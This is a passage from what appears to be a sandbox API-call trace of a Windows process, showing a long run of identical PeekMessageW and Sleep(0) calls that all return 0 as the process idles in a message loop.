hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.741] Sleep (dwMilliseconds=0x0) [0048.741] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.741] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.741] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.741] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.742] Sleep (dwMilliseconds=0x0) [0048.742] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.742] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.742] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.742] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.742] Sleep (dwMilliseconds=0x0) [0048.742] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.742] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.742] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.742] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.742] Sleep (dwMilliseconds=0x0) [0048.742] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.743] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.743] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.743] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.743] Sleep (dwMilliseconds=0x0) [0048.743] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.743] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.743] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.743] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.743] Sleep (dwMilliseconds=0x0) [0048.743] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.743] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.743] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.743] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.743] Sleep (dwMilliseconds=0x0) [0048.743] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.744] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.744] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.744] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.744] Sleep (dwMilliseconds=0x0) [0048.744] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.744] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.744] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.744] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.744] Sleep (dwMilliseconds=0x0) [0048.744] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.744] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.744] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.744] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.745] Sleep (dwMilliseconds=0x0) [0048.745] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.745] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.745] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.745] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.745] Sleep (dwMilliseconds=0x0) [0048.745] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.750] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.750] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.750] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.750] Sleep (dwMilliseconds=0x0) [0048.751] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.751] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.751] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.751] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.751] Sleep (dwMilliseconds=0x0) [0048.751] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.751] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.751] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.751] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.752] Sleep (dwMilliseconds=0x0) [0048.752] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.752] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.752] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.752] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.752] Sleep (dwMilliseconds=0x0) [0048.752] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.752] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.752] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.752] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.752] Sleep (dwMilliseconds=0x0) [0048.752] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] Sleep (dwMilliseconds=0x0) [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.753] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.754] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.755] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.756] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) 